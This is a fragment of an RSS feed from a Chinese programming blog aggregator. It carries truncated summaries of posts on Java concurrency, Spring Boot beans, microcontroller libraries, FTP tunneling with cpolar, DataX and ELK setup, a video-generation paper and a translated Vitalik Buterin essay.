      <description>Thread 1.生命周期2.构造方法3.创建线程的方式4.常用的方法 一个线程就是一个执行流程. 每个线程都可以按照顺序执行自己的代码, 而多个线程可以同时执行多份代码 1.生命周期 Thread有六个生命周期&#xA;新建(NEW)&#xA;当一个Thread对象被创建时，它处于新建状态。在这个阶段，线程还没有启动。 public static void main(String[] args) throws Exception{ System.out.println(&#34;Thread State is：&#34;+new Thread().getState()); } 就绪(Runnable)&#xA;当调用线程对象的start()方法后，线程进入就绪状态。在就绪状态下，线程已经准备好运行，但还没有得到 CPU 时间片。 public static void main(String[] args) { new Thread(() -&amp;gt; { System.out.println(&#34;Thread State is：&#34;+Thread.currentThread().getState()); }).start(); } 运行(Running)&#xA;线程获得CPU时间片后，进入运行状态。在运行状态下，线程执行具体的任务代码。阻塞(Blocked)&#xA;线程在某些情况下会由于某些原因放弃CPU时间片，进入阻塞状态。例如，线程等待某个资源的释放，或者调用了sleep()方法。 public class ThreadTest { public static void main(String[] args) throws InterruptedException { Object lock = new Object();//锁 BlockThread t1 = new BlockThread(lock,&#34;T1&#34;); BlockThread t2 = new BlockThread(lock,&#34;</description>
    </item>
    <item>
      <title>【SpringBoot篇】详解Bean的管理（获取bean，bean的作用域，第三方bean）</title>
      <link>https://bchobby.github.io/posts/047b80bfc8631153244e2f2f51baec50/</link>
      <pubDate>Fri, 29 Dec 2023 13:25:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/047b80bfc8631153244e2f2f51baec50/</guid>
      <description>文章目录 🍔Bean的获取🎄注入IOC容器对象⭐代码实现🛸根据bean的名称获取🛸根据bean的类型获取🛸根据bean的名称和类型获取 🎄Bean的作用域⭐代码实现🎈注意 🎄第三方Bean⭐代码实现🌺在启动类上进行配置（不建议）🌺使用配置类进行配置 🍔总结 代码脚手架我上传到网盘里面了，有需要的同学请自取&#xA;我用夸克网盘分享了「springboot-web-config2.zip」，点击链接即可保存。 链接：https://pan.quark.cn/s/f3872e6654cf&#xA;🍔Bean的获取 在Spring框架中，Bean是指由Spring容器管理的对象。Spring容器可以通过不同的方式获取Bean，常用的方法有以下几种：&#xA;通过名称获取Bean：可以使用getBean方法通过Bean名称获取Bean。例如：MyBean myBean = (MyBean) context.getBean(“myBean”);通过类型获取Bean：可以使用getBean方法通过Bean类型获取Bean。例如：MyBean myBean = context.getBean(MyBean.class);通过名称和类型同时获取Bean：如果存在多个符合条件的Bean，可以使用带有名称和类型参数的getBean方法来获取Bean。例如：MyBean myBean = context.getBean(“myBean”, MyBean.class); 需要注意的是，Bean只有在Spring容器初始化时才会被创建，因此在获取Bean之前，必须确保Spring容器已经初始化完成。通常，在Web应用程序中，可以在Servlet容器启动时初始化Spring容器，以便在应用程序中随时获取Bean。&#xA;🎄注入IOC容器对象 在Spring框架中，Bean是由IOC容器来管理和创建的。因此，在获取Bean对象之前，需要先创建IOC容器对象，确保容器已经初始化完成，并且Bean已经被创建并添加到容器中。&#xA;具体来说，IOC容器是Spring框架的核心组件之一，它负责维护Bean的生命周期、依赖注入、AOP等功能。Spring框架提供了多种类型的IOC容器，包括BeanFactory、ApplicationContext等，每种容器都有不同的特点和使用方式。&#xA;通过创建IOC容器对象，可以让Spring框架自动扫描指定的配置文件或注解，并根据配置信息创建Bean对象。这些Bean对象可以通过IOC容器来管理，包括获取Bean实例、销毁Bean实例、依赖注入等。因此，在获取Bean对象之前，需要先创建IOC容器对象，确保容器已经初始化完成，并且Bean已经被创建并添加到容器中。&#xA;另外，通过IOC容器来获取Bean对象的好处在于，可以将Bean的创建和管理交给Spring框架来处理，减少了程序员的工作量，并提高了程序的可维护性和可扩展性。同时，IOC容器还能够管理Bean之间的依赖关系，实现松耦合的编程模式，提高了程序的灵活性和可测试性。&#xA;⭐代码实现 🛸根据bean的名称获取 DeptController bean1 = (DeptController) applicationContext.getBean(&#34;deptController&#34;); System.out.println(bean1); 🛸根据bean的类型获取 DeptController bean2 = applicationContext.getBean(DeptController.class); System.out.println(bean2); 🛸根据bean的名称和类型获取 DeptController bean3 = applicationContext.getBean(&#34;deptController&#34;, DeptController.class); System.out.println(bean3); @SpringBootTest class SpringbootWebConfig2ApplicationTests { @Autowired private ApplicationContext applicationContext; //获取bean对象 @Test public void testGetBean() { //根据bean的名称获取 DeptController bean1 = (DeptController) applicationContext.getBean(&#34;deptController&#34;); System.</description>
    </item>
    <item>
      <title>单片机通用复用组件C语言</title>
      <link>https://bchobby.github.io/posts/eb6214565548c5a9c1f3403b4d405d8e/</link>
      <pubDate>Fri, 29 Dec 2023 13:21:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eb6214565548c5a9c1f3403b4d405d8e/</guid>
      <description>组件内容： 组件包含内容有：MODBUS主从机管理(支持RTU和ASCII)，内存管理(小内存管理算法)，串口管理，消息队列，环形缓冲区，类线程间同步方法(信号量、互斥锁、事件集)，软件定时器，命令交互客户端(类命令行)，软件非阻塞延时，数据转换方法，IO输入输出操作等。&#xA;组件描述： 各个组件均可独立使用，提供用户接口对接底层，并配有详细注释、手册和使用例程，供学习使用。&#xA;组件源码： mcu_reuse_development_module: 单片机可通用、可复用开发组件，内含：MODBUS主从机管理(支持RTU和ASCII)，内存管理(小内存管理算法)，串口管理，消息队列，环形缓冲区，类线程间同步方法(信号量、互斥锁、事件集)，软件定时器，命令交互客户端(类命令行)，软件非阻塞延时，数据转换，IO输入输出操作等。&#xA;各组件说明： ./documents/存放组件使用文档./drivers/存放所有组件源程序./examples/存放所有组件的使用举例(使用必看) drivers/common all_include.h: 所有组件头文件集合 common_include.h: 通用头文件(所有组件都需包含此文件) drivers/modbus modbus_common.c/.h: modbus通用文件 modbus_host.c/.h: modbus主机程序(RTU ASCII) modbus_slave.c/.h: modbus从机程序(RTU ASCII) drivers/modules command_line.c/.h: 命令行交互 data_check.c/.h: 数据校验方法集合 data_convert.c/.h: 数据转换方法集合 delay_no_block.c/.h: 非阻塞延时 input_output.c/.h: IO输入输出操作 memory.c/.h: 内存管理-小内存管理算法 message_queue.c/.h: 消息队列 ring_buffer.c/.h: 环形缓冲区 sync_method.c/.h: 伪线程同步方法(信号量,互斥锁,事件集) timer_software.c/.h: 软件定时器 uart_handler.c/.h: 串口管理 drivers/segger_rtt SEGGER_RTT官方文件，SEGGER_RTT.c:89行有固定输出地址方法</description>
    </item>
    <item>
      <title>如何在无公网IP环境下远程访问Serv-U FTP服务器共享文件</title>
      <link>https://bchobby.github.io/posts/c069de42384f2f97f6d3b4cba6294609/</link>
      <pubDate>Fri, 29 Dec 2023 13:20:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c069de42384f2f97f6d3b4cba6294609/</guid>
      <description>文章目录 1. 前言2. 本地FTP搭建2.1 Serv-U下载和安装2.2 Serv-U共享网页测试2.3 Cpolar下载和安装 3. 本地FTP发布3.1 Cpolar云端设置3.2 Cpolar本地设置 4. 公网访问测试5. 结语 1. 前言 科技日益发展的今天，移动电子设备似乎成了我们生活的主角，智能手机、平板电脑几乎从不离身。但智能手机和平板电脑也有缺憾，就是自身的存储容量实在太少，能随时调取资料的大容量存储设备就显得十分必要。今天，笔者就为大家介绍，如何在电脑上，使用Serv-U+Cpolar内网穿透，构建一个ftp协议服务器，方便我们随时读取调阅文件资料。&#xA;2. 本地FTP搭建 FTP协议作为TCP/IP协议的组成部分，其主要作用就是向Web服务器传输网页资料和文件；同时由于FTP的传输效率极高，因此也常被用来传输较大的电子资料。通常FTP协议有两个组成部分，一个是FTP服务器（用于资料存储），另一个则是FTP客户端（访问指定服务器），今天介绍的Serv-U，就能让我们很轻松的搭建起一个FTP服务器。&#xA;2.1 Serv-U下载和安装 Serv-U的功能十分强大，运行稳定且设置简单，因此很受用户的欢迎。想要搭建自己的Serv-U服务器，要先到Serv-U官网（http://www.serv-u.com.cn/）下载Serv-U。&#xA;笔者使用的电脑安装了Windows操作系统，因此选择Windows版本下载。至于其他操作系统，则可根据需求自行选择。&#xA;下载完成后，将下载的压缩包解压，双击解压后的.exe文件，即可进行安装&#xA;进入安装程序后，只要一路点击下一步，很快就能安装完成。在安装完成首次运行Serv-U时，会显示“当前已定义的域，要先在定义新域吗”，直接选择是。&#xA;进入自定义域的设置页面后，左侧的列表就是我们需要设置的内容，如果没有特殊需求，只要输入几项简单内容，接着点击下一步即可完成设置。&#xA;首先Serv-U会要求我们对自定义域的名称进行设置，这里填入我们喜欢的名字即可&#xA;第三步Serv-U会要求我们填入domain URL（域名网址），这里我们根据其范例填入本地地址即可（127.0.0.1）；第二行是file sharing repository（共享文件存储库），笔者选择整个E盘均进行共享。如果需要设置为共享某个文件夹的，则可以点击栏位右侧的“文件夹”图标进行选择&#xA;第四步是对Serv-U的输出端口进行设置。同样的，如果没有特殊需求、或系统默认的80端口没有被占用，则可以不用修改设置。但笔者Windows系统的80端口已经被占用，因此需要将80端口修改，这个例子中改为83。&#xA;需要注意的是，这一步中修改的端口号需要记住，以便我们之后进行FTP传输网页的访问测试，Cpolar进行内网穿透时，也会用到这个端口号。&#xA;接下来的第五步没有需要修改的内容，直接下一步即可。&#xA;第六步（最后一步）是关于回复密码的，如果有需要的看官可以自行设置。&#xA;完成以上步骤后，我们就完成了Serv-U的共享区域设置，接下来就是添加域用户步骤。这里我们只要跟着软件提示进行操作即可。需要注意的是，在域用户设置的最后一步，会涉及该用户访问共享文件的权限，如果不想该用户修改共享文件，则要选择“只读访问”，反之则选择“完全访问”。&#xA;在设置好访问用户后，即可点击完成，保留访问用户的设置。&#xA;完成以上设置后，我们就可以尝试在本地电脑上访问Serv-U的共享网页。&#xA;2.2 Serv-U共享网页测试 由于我们之前设置的Serv-U地址为本地地址（127.0.0.1），因此这里我们需要在浏览器中输入本地电脑的IP地址加端口号，具体格式为http://192.168.X.X:之前设置的端口号。在这个例子中，Serv-U访问地址为（http://192.168.157.1:83）。&#xA;只要输入的地址无误且之前的Serv-U软件设置没有问题，就会显示出Serv-U的登录界面，也就说明我们使用Serv-U搭建的FTP服务器成功上线，能够接受访客的访问。但此时Serv-U网页只能在局域网范围内访问，想要让这个网页能在任何地方都访问到，我们还需要使用Cpolar，创建一条内网穿透数据隧道。&#xA;2.3 Cpolar下载和安装 在本地的Serv-U服务端搭建完成后，我们就可以安装Cpolar内网穿透，为我们的FTP服务器上线做好准备。与Serv-U一样，我们可以直接访问Cpolar官网（https://www.cpolar.com/），选择合适自己电脑操作系统的版本进行下载。&#xA;笔者使用的是Windows操作系统，因此选择Windows版本进行下载。&#xA;Cpolar下载完成后，将下载的文件解压，双击解压后的.msi文件，即可自动执行安装程序。接着只要一路Next就能完成安装。&#xA;由于cpolar会为每个用户创建独立的数据隧道，并辅以用户密码和token码保证数据安全，因此我们在使用cpolar之前，需要进行用户注册。注册过程也非常简单，只要在cpolar主页右上角点击用户注册，在注册页面填入必要信息，就能完成注册。&#xA;3. 本地FTP发布 完成本地Serv-U服务器的部署和Cpolar内网穿透的安装注册后，我们就可以着手为Serv-U共享网页创建一个公共互联网地址，即内网穿透数据隧道，让我们能在公共互联网条件下，也能访问到家里的FTP服务器。&#xA;由于笔者不想每天都对Serv-U的网页地址进行设置（cpolar每隔24小时会对免费用户的数据隧道地址进行重置），因此将cpolar升级到vip级别，以此获得建立长期稳定数据隧道的特权。&#xA;3.1 Cpolar云端设置 要达到内网穿透的目的，需要先登录cpolar的官网，并在用户主页面左侧找到预留按钮，并点击进入cpolar的数据隧道预留页面。在这里生成一个公共互联网地址（也可以看做数据隧道的入口），由于此时这个地址没有连接本地的软件输出端口，因此也可以看做是一条空白的数据隧道。&#xA;在预留页面，可以看到很多种可保留的数据隧道，这里我们选择保留二级子域名栏位。&#xA;在“保留二级子域名”栏位，需要进行几项信息的简单设置，&#xA;地区：服务器所在区域，就近选择即可二级域名：会最终出现在生成的公共互联网地址中，作为网络地址的标识之一描述：可以看做这条数据隧道的描述，能够与其他隧道区分开即可） 完成这几项设置后，就可以点击右侧的保留按钮，将这条数据隧道保留下来。&#xA;当然，如果这条数据隧道不打算再使用，还可以点击右侧的x将其轻松删除，节约宝贵的隧道名额。&#xA;3.2 Cpolar本地设置 完成cpolar云端的设置，并保留了空白数据隧道后，我们回到本地的cpolar客户端，将云端生成的空白数据隧道与本地Serv-U网页端口连接起来，正式打通Serv-U的内网穿透数据隧道。与登录Cpolar云端一样，我们在本地打开并登录cpolar客户端（可以在浏览器中输入localhost:9200直接访问，也可以在开始菜单中点击cpolar客户端的快捷方式）&#xA;点击客户端主界面左侧隧道管理——创建隧道按钮，进入本地隧道创建页面（如果要创建没24小时重置地址的临时数据隧道，可直接在此进行设置，不必再cpolar官网设置空白数据隧道）。&#xA;在这个页面，同样需要进行几项信息设置，这些信息设置包括：&#xA;1. 隧道名称 – 可以看做cpolar本地的隧道信息注释，只要方便我们分辨即可；</description>
    </item>
    <item>
      <title>【并发编程篇】同步队列SynchronousQueue</title>
      <link>https://bchobby.github.io/posts/8abfd4d556960a015735adba82caf982/</link>
      <pubDate>Fri, 29 Dec 2023 13:18:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8abfd4d556960a015735adba82caf982/</guid>
      <description>文章目录 🍔简述同步队列🌹代码实现🛸代码讲解 🍔简述同步队列 同步队列（Synchronous Queue）是一种特殊的队列数据结构，它具有以下特点：&#xA;队列容量为0：同步队列的容量为0，即不能存储任何元素。它主要用于线程间的数据传输，而不是作为一个临时数据存储的结构。阻塞操作：同步队列的插入和删除操作都是阻塞的。当一个线程试图插入元素到同步队列时，如果队列已满，线程将被阻塞直到有其他线程从队列中删除元素；当一个线程试图从同步队列中删除元素时，如果队列为空，线程将被阻塞直到有其他线程向队列中插入元素。线程间的同步：同步队列提供了一种简单而有效的线程间通信方式。它可以用于线程之间传递数据、进行任务调度等场景。 同步队列的实现可以基于不同的同步原语，例如互斥锁、条件变量等。Java并发包中的SynchronousQueue就是一种常见的同步队列实现。&#xA;使用同步队列可以有效地实现线程间的同步和协作，避免了显式的锁和条件变量的使用，简化了代码的编写和维护。但需要注意合理使用同步队列，避免出现死锁和线程饥饿等问题。&#xA;总结起来，同步队列是一种阻塞的、容量为0的队列数据结构，用于实现线程间的同步和协作。&#xA;🌹代码实现 package org.Test6; import java.util.concurrent.BlockingQueue; import java.util.concurrent.SynchronousQueue; import java.util.concurrent.TimeUnit; public class SynchronousQueueDemo { public static void main(String[] args) { BlockingQueue&amp;lt;String&amp;gt; blockingQueue = new SynchronousQueue&amp;lt;&amp;gt;(); //同步队列 new Thread(()-&amp;gt;{ try { System.out.println(Thread.currentThread().getName()+&#34; put 1&#34;); blockingQueue.put(&#34;1&#34;); System.out.println(Thread.currentThread().getName()+&#34; put 2&#34;); blockingQueue.put(&#34;2&#34;); System.out.println(Thread.currentThread().getName()+&#34; put 3&#34;); blockingQueue.put(&#34;3&#34;); } catch (InterruptedException e) { e.printStackTrace(); } },&#34;T1&#34;).start(); new Thread(()-&amp;gt;{ try { TimeUnit.SECONDS.sleep(3); System.out.println(Thread.currentThread().getName()+&#34;=&amp;gt;&#34;+blockingQueue.take()); TimeUnit.SECONDS.sleep(3); System.out.println(Thread.currentThread().getName()+&#34;=&amp;gt;&#34;+blockingQueue.take()); TimeUnit.SECONDS.sleep(3); System.out.println(Thread.currentThread().getName()+&#34;=&amp;gt;&#34;+blockingQueue.take()); } catch (InterruptedException e) { e.</description>
    </item>
    <item>
      <title>【并发编程篇】线程安全问题_—_ConcurrentHashMap</title>
      <link>https://bchobby.github.io/posts/7e33a46872a71d3b7573160e44d9c0f7/</link>
      <pubDate>Fri, 29 Dec 2023 13:13:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7e33a46872a71d3b7573160e44d9c0f7/</guid>
      <description>文章目录 🍔情景引入🌹报错了，解决方案 🍔情景引入 我们运行下面的代码&#xA;package org.example.unsafe; import java.util.HashMap; import java.util.Map; import java.util.UUID; public class MapTest { public static void main(String[] args) { Map&amp;lt;String, String&amp;gt; map = new HashMap&amp;lt;&amp;gt;(); for(int i=0;i&amp;lt;30;i++){ new Thread(()-&amp;gt;{ map.put(Thread.currentThread().getName(), UUID.randomUUID().toString().substring(0,5)); System.out.println(map); }).start(); } } } 报错了&#xA;我们看报错信息&#xA;是并发修改异常&#xA;🌹报错了，解决方案 我们使用 ConcurrentHashMap 来创建一个线程安全的 Map 集合。ConcurrentHashMap 是 Java 并发包中提供的一种线程安全的哈希表实现，具有以下好处：&#xA;线程安全：ConcurrentHashMap 是线程安全的集合类，可以在多线程环境中安全地进行读取和写入操作，而无需额外的同步措施。它使用了锁分段技术，将整个哈希表划分为多个小的段，每个段都有自己的锁。这样不同的线程可以同时访问不同的段，从而提高并发性能。高并发性能：ConcurrentHashMap 在并发读写操作时能够提供较好的性能。由于采用了锁分段技术，不同的线程可以同时对不同的段进行操作，从而减少了锁竞争的范围，提高了并发性能。适用于大规模数据：ConcurrentHashMap 对于大规模的数据集合也具有较好的性能。由于采用了锁分段的方式，不同的段可以独立操作，因此在处理大量数据时，可以降低锁竞争的频率，提高整体性能。支持高效迭代：ConcurrentHashMap 在迭代操作时具有较好的性能。与传统的线程安全集合相比，ConcurrentHashMap 在进行迭代操作时不需要额外的同步措施，因为它内部使用了一种快照机制来保证迭代器的一致性，从而避免了并发修改导致的问题。 总之，ConcurrentHashMap 提供了一种高效的线程安全哈希表实现，适用于多线程环境下的并发读写操作。它能够提供较好的并发性能和可伸缩性，适用于大规模数据集合的处理。&#xA;package org.Test6; import java.util.HashMap; import java.util.Map; import java.util.UUID; import java.util.concurrent.ConcurrentHashMap; public class MapTest { public static void main(String[] args) { Map&amp;lt;String, String&amp;gt; map = new ConcurrentHashMap&amp;lt;&amp;gt;(); for(int i=0;i&amp;lt;30;i++){ new Thread(()-&amp;gt;{ map.</description>
    </item>
    <item>
      <title>DataX实现Gauss300-＞ADB PG(前一天数据)增量迁移</title>
      <link>https://bchobby.github.io/posts/dfad5918ac6530e2628e8f9ff666a376/</link>
      <pubDate>Fri, 29 Dec 2023 12:54:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dfad5918ac6530e2628e8f9ff666a376/</guid>
      <description>1、提前准备源Gauss300、目标 ADB PG数据库连接信息。&#xA;psql -hx.x.x.x -p25308 -Utest1 -ddb_name xxxxxx psql -hx.x.x.x -p3432 -Utest1 -ddb_name xxxxxx 2、编写迁移脚本，并执行迁移。 #!/bin/bash file_name=1.json today_data=`date &#34;+%Y-%m-%d 00:00:00&#34;` yesterday_data=`date -d &#34;1 days ago&#34; &#34;+%Y-%m-%d 00:00:00&#34;` cat &amp;gt; $file_name &amp;lt;&amp;lt; EOF { &#34;job&#34;: { &#34;setting&#34;: { &#34;speed&#34;: { &#34;channel&#34;: 2 }, &#34;errorLimit&#34;: { &#34;record&#34;: 0, &#34;percentage&#34;: 0.02 } }, &#34;content&#34;: [ { &#34;reader&#34;: { &#34;name&#34;: &#34;gaussdbreader&#34;, &#34;parameter&#34;: { &#34;username&#34;: &#34;xxxxxx&#34;, &#34;password&#34;: &#34;xxxxxx&#34;, &#34;column&#34;: [ &#39;*&#39; ], &#34;connection&#34;: [ { &#34;</description>
    </item>
    <item>
      <title>私有部署ELK，搭建自己的日志中心（五）-- 使用filebeat采集K8S pod的jvm日志</title>
      <link>https://bchobby.github.io/posts/cacec3370e897b2914433b3bf6add332/</link>
      <pubDate>Fri, 29 Dec 2023 12:49:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cacec3370e897b2914433b3bf6add332/</guid>
      <description>一、背景 前文采集的日志是来源于虚拟机，在云原生下的容器化部署时，需要采集Pod里的jvm日志。&#xA;二、术语 1、临时存储emptyDir emptyDir在Pod被分配到Node时创建的，它的初始内容为空，并且无须指定宿主机上对应的目录文件，因为kubernetes会自动分配一个目录，当Pod销毁时，EmptyDir中的数据也会被永久删除，所以也被称为临时存储。&#xA;2、ConfigMap filebeat.yml保存在配置存储ConfigMap里，filebeat进程加载该文件。&#xA;filebeat -c /etc/filebeat.yml 三、整体设计 在同一个pod里，使用sidecar模式再部署一个filebeat容器，由它读取jvm容器输出的日志文件。&#xA;filebeat本身启动的时候，配置文件filebeat.yml挂载到configMap，供我们方便修改。&#xA;filebeat要读取jvm容器的日志文件，通过emptyDir共享日志文件；前者负责读取，后者负责写入。&#xA;四、deployment.yaml 1、增加filebeat容器 containers: - name: filebeat-container env: - name: APPNAME value: {{ .Values.appName }} image: docker.elastic.co/beats/filebeat:8.0.1 args: - -c - /etc/filebeat.yml volumeMounts: - name: storage-logs mountPath: /opt/{{ .Values.appName }}/logs - name: filebeat-volume mountPath: /etc/filebeat.yml readOnly: true subPath: filebeat.yml 创建一个名称为storage-logs的临时存储emptyDir volumes: - name: storage-logs emptyDir: {} jvm容器把日志文件挂载到storage-logs volumeMounts: - mountPath: /opt/{{ .Values.appName }}/logs name: storage-logs 2、ConfigMap配置存储 新增一个名称为filebeat-volume的ConfigMap</description>
    </item>
    <item>
      <title>华科等提出TF-T2V：无文本标注视频的多用途生成方案，助力视频生成技术实现规模化突破...</title>
      <link>https://bchobby.github.io/posts/da8fdc24b43958b4279c7c058a49abe7/</link>
      <pubDate>Fri, 29 Dec 2023 12:38:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/da8fdc24b43958b4279c7c058a49abe7/</guid>
      <description>关注公众号，发现CV技术之美&#xA;本篇分享论文A Recipe for Scaling up Text-to-Video Generation with Text-free Videos，提出无文本标注视频的多用途生成方案，助力视频生成技术实现规模化突破。&#xA;详细信息如下：&#xA;论文地址：https://arxiv.org/abs/2312.15770&#xA;项目主页：https://tf-t2v.github.io/&#xA;即将开源代码地址：https://github.com/ali-vilab/i2vgen-xl （VGen项目）&#xA;近年来，基于扩散模型的视频生成技术取得了显著进展，并开源了一系列优秀的视频生成工作，如VideoComposer、VideoCrafter、AnimateDiff、I2VGen-XL等。这些工作为视频生成社区的发展提供了良好的基准。虽然在过去一年里，文生视频任务取得了令人印象深刻的进展，但仍然落后于文生图像任务。例如，文生图模型Stable Diffusion和DALL-E 2等方法已经能够生成非常逼真的图片，而视频生成的结果仍存在生成质量差、时序连续性弱的问题。&#xA;其中一个重要原因是视频-文本（Video-text pairs）数据的标注困难，导致数据量相比图片文本（Image-text pairs）数据集如LAION-5B差了几个数量级（典型的文本视频对数据集WebVId10M只有大约10M数据规模）。为此，来自华中科技大学、阿里巴巴、浙江大学和蚂蚁集团的研究团队提出了TF-T2V方法，一个多用途视频生成框架。&#xA;TF-T2V方法的基本思路是利用大规模未标注的视频（Tiktok和YouTube平台包含大量数据源）进行数据扩充，有效丰富视频的动态多样性，使模型能够学习更丰富的运动信息，从而生成连续稳定且高质量的视频。为了显式约束生成的视频更具有时序连续性，研究团队还提出了一个时序一致性损失函数。&#xA;具体地，网络模型结构上图所示，整个模型分为两个分支，一个motion分支利用Text-free videos来学习运动动态，一个content分支利用大规模地image-text pairs来学习表观信息。&#xA;训练时，两个分支联合训练，motion分支可以专注于3D-UNet中运动模块的学习，而content分支则可以学习表观信息，提升视频生成质量。&#xA;在测试过程中，则可以直接利用文本作为引导，生成平滑高质量的视频，这是因为image-text中包含丰富的运动意图，这些运动意图信息通过3D-UNet模块中的时序模块注入运动动态后，就可以实现视频生成了。此外启发于视频帧间差通常包含运动信息，一个时序一致性损失也被提出，用于生成时序连续的视频。&#xA;特别地，TF-T2V还支持半监督设定：即其中包含一部分标注的视频数据和无标注的视频数据一起进行联合训练，可以提升模型对于运动文本输入的生成感知能力。&#xA;TF-T2V模型的特点：&#xA;相比于之前的文生视频模型，如ModelScopeT2V、VideoLDM。TF-T2V模型可以额外利用大量无标注视频数据，这些数据包含丰富运动动态，使得模型可以学习更多运动模式，生成的视频也更稳定。&#xA;相比于Make-A-Video这类两阶段模型，其包括text-to-image prior模型（约1B参数）和image-to-video模型。TF-T2V模型可以只需要一个统一的模型就可以进行视频生成，不需要复杂的两阶段模型。而且两阶段模型会带来额外的开销和误差累积。&#xA;TF-T2V模型具有通用性，TF-T2V模型既可以用于文生视频任务（text-to-video generation）又可以用于组合式视频生成任务（Compositional video generation）。&#xA;更广泛的运用场景。现有的视频-文本数据集WebVid10M是大约360P的有水印数据集，如果想生成高质量且高清（如720P）的视频，则需要额外收集大量高质量视频-文本对数据。而在TF-T2V中，只需要利用高清的无标注视频就可以实现高清视频生成。&#xA;实验结果1：利用无标注视频进行文生视频和组合式视频生成任务，生成的视频可以参考项目主页。&#xA;实验结果2：在半监督设定下，与其他一些开源方法的对比，TF-T2V可以保持对文本的精准控制，如“人从右往左跑”，生成的视频可以参考项目主页。&#xA;实验结果3：TF-T2V生成的视频在质量和连续性上由于现有的方法，生成的视频可以参考项目主页。&#xA;实验结果4：高分辨率生成视频，生成的视频可以参考项目主页。&#xA;TF-T2V方法为视频生成领域带来了全新的技术突破和研究思路，能够解决视频生成中的数据标注问题，为视频生成技术的发展提供有力的解决方案。未来，TF-T2V方法有望推动视频生成技术的规模化突破，使生成的视频更加逼真、连续且高质量。&#xA;通过TF-T2V方法，我们可以期待在无需依赖大量文本标注的情况下，实现更高效、更精准的视频生成。这将为电影制作、广告、娱乐、教育等领域提供更丰富多样的视频内容，同时也将为视频生成领域的研究者们带来更多的思路和突破口。让我们共同期待TF-T2V方法为视频生成技术带来的新起点和无限可能！&#xA;等等！还没有结束！&#xA;在TF-T2V基础上，作者团队还训练了VideoLCM模型(VideoLCM: Video Latent Consistency Model)：&#xA;论文地址：https://arxiv.org/abs/2312.09109&#xA;项目主页：https://tf-t2v.github.io/&#xA;即将开源代码地址：https://github.com/ali-vilab/i2vgen-xl （VGen项目）&#xA;VideoLCM是一种基于视频潜在一致性模型的高效视频合成方法，该方法借鉴了图像生成领域中的一致性模型，旨在提高视频生成的效率和质量。VideoLCM框架基于现有的潜在视频扩散模型，并采用一致性蒸馏技术训练视频潜在一致性模型。&#xA;实验结果表明，VideoLCM在计算效率、保真度和时间一致性方面具有显著优势。特别地，VideoLCM仅需大约4个采样步骤即可实现高保真度、流畅的视频合成，展示出实时合成的潜力。此外，VideoLCM还可应用于文本到视频生成和组合视频合成任务。为后续研究提供了一个简化且有效的基准，有助于推动快速视频合成领域的发展。&#xA;在实验中，VideoLCM可以只需要大约4步去噪就可以生成效果稳定的视频，显著提升了视频生成效率（之前的视频生成方法通常需要50步DDIM去噪）。特别地，在组合式视频生成，如组合式草图到视频生成，VideoLCM需要的步数更少，可能1步就可以有不错的效果。&#xA;END&#xA;欢迎加入「视频生成」交流群👇备注：生成</description>
    </item>
    <item>
      <title>Vitalik 疾呼：让以太坊回归密码朋克</title>
      <link>https://bchobby.github.io/posts/d46437e72e89b41ca3d8b5eb92636d1f/</link>
      <pubDate>Fri, 29 Dec 2023 12:36:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d46437e72e89b41ca3d8b5eb92636d1f/</guid>
      <description>作者：Vitalik Buterin 以太坊联合创始人&#xA;编译：秦晋 碳链价值&#xA;特别感谢Paul Dylan-Ennis的反馈与评论。&#xA;十年前，我最喜欢的回忆之一是去柏林一个被称为比特币基兹（Bitcoin Kiez）的地方朝圣：在克罗伊茨贝格（Kreuzberg）的一个地区，几百米范围内有十几家商店都接受比特币支付。这个社区的核心是约尔格-普拉茨（Joerg Platzer）经营的餐厅和酒吧「77号房间」（Room 77）。除了单纯接受比特币之外，它还是一个社区中心，各种开源开发者、不同派别的政治活动家和其他人物都会经常光顾。&#xA;77号房间，2013年。资料来源：我2013 年在比特币杂志上发表的文章。&#xA;两个月前的一个类似回忆是PorcFest（porc是porcupine的porc，don&#39;t tread on me的porc），这是一个在新罕布什尔州北部森林中举行的自由主义者聚会，在那里，获得食物的主要途径是那些名字叫「Revolution Coffee」和「Seditious Soups, Salads and Smoothies」的小餐馆，当然，这些餐馆也接受比特币。在这里，讨论比特币更深层次的政治含义和在日常生活中使用比特币也是并行不悖的。&#xA;我之所以提起这些回忆，是因为它们让我想起了加密货币的一个更深层次的愿景：我们在这里不是为了创造孤立的工具和游戏，而是为了建立一个更自由、更开放的社会和经济，让技术、社会和经济等不同部分相互融合。&#xA;Web3的早期愿景也是这种类型的愿景，其方向同样理想化，但略有不同。Web3一词最初是由以太坊联合创始人加文-伍德（Gavin Wood）提出的，它指的是以一种不同的方式来思考以太坊是什么：加文并不像我最初那样将其视为「比特币加智能合约」，而是更广泛地将其视为一系列技术中的一种，这些技术可以共同构成一个更加开放的互联网堆栈的基础层。&#xA;加文-伍德在他早期的许多演讲中使用过的图表。&#xA;当免费开源软件运动于上世纪八九十年代开始时，软件很简单：在电脑上运行，读写停留在电脑上的文件。但如今，我们的大部分重要工作都是协作性的，而且往往是大规模的。因此，即使应用程序的底层代码是开放和自由的，你的数据也会通过一个由公司运营的中央服务器来传输，而公司可以随时任意读取你的数据、改变对你的规则或取消你的平台。因此，如果我们想将开源软件的精神推广到当今世界，我们就需要程序能够访问共享硬盘，以存储多人需要修改和访问的内容。那么，以太坊以及点对点消息传输（当时是Whisper，现在是Waku）和去中心化文件存储（当时只是Swarm，现在是IPFS）等姊妹技术又是什么呢？公共去中心化共享硬盘。这就是「Web3」一词诞生的最初愿景。&#xA;遗憾的是，自2017年左右以来，这些愿景已逐渐淡出人们的视野。很少有人谈论消费者加密支付，唯一真正在链上大规模使用的非金融应用是ENS，而且存在着巨大的意识形态分歧，非区块链去中心化社区的大部分人认为加密世界是一种干扰，而不是一种志同道合的精神和强大的盟友。在许多国家，人们确实使用加密货币来汇款和存钱，但他们通常是通过中心化的方式来实现的：要么通过中心化交易所账户进行内部转账，要么在Tron上交易USDT。&#xA;Tron创始人、去中心化先驱孙宇晨勇敢的领导了全球最酷、最去中心化的加密生态系统。&#xA;经历过那个时代后，我认为造成这种转变的罪魁祸首是交易费用的上涨。当写入链上的成本是0.001美元，甚至是0.1美元时